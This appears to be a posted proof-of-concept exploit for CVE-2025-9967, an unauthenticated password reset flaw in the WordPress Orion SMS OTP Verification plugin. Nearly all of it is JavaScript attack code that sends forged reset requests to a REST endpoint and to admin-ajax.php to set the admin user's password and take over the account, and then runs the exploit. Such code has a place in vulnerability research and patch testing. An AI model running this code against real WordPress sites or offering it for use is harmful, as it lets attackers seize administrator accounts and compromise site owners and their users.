CVE-2025-9967：WordPress Orion SMS OTP验证插件权限提升漏洞

/* * CVE-2025-9967 - Orion SMS OTP Verification Privilege Escalation PoC * Vulnerability: Unauthenticated Password Reset / Account Takeover * Affected: Orion SMS OTP Verification <= 1.1.7 * * This PoC demonstrates how an unauthenticated attacker can take over * an arbitrary user's account by exploiting the insecure password reset * functionality in the reset-password.js endpoint. */ // Step 1: Identify the target user's phone number (out of band) // The attacker needs to know the phone number associated with the target account. const targetPhoneNumber = "+1234567890"; // Target user's phone number const targetUserId = 1; // Target user ID (e.g., admin) const attackerControlledOTP = "123456"; // OTP value the attacker will set // Step 2: Send a password reset request to the vulnerable endpoint // The plugin's reset-password.js does not verify the requester's identity fetch('/wp-json/orion-sms-otp/v1/reset-password', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': '' // No nonce required - vulnerability }, body: JSON.stringify({ user_id: targetUserId, phone: targetPhoneNumber, new_password: attackerControlledOTP }) }) .then(response => response.json()) .then(data => { console.log("Password reset response:", data); // Step 3: Login with the attacker-controlled OTP/password if (data.success) { console.log("Account takeover successful!"); // Now log in with the target username and the OTP as password } }); // Alternative: Direct AJAX call mimicking the vulnerable plugin logic function exploitResetPassword(userLogin, phone, newPassword) { var formData = new FormData(); formData.append('action', 'orion_sms_otp_reset_password'); formData.append('user_login', userLogin); formData.append('phone_number', phone); formData.append('new_password', newPassword); formData.append('otp', newPassword); // OTP equals the new password return fetch('/wp-admin/admin-ajax.php', { method: 'POST', body: formData }); } // Execute the exploit exploitResetPassword('admin', targetPhoneNumber, attackerControlledOTP) .then(res => res.text()) .then(result => console.log("Exploit result:", result));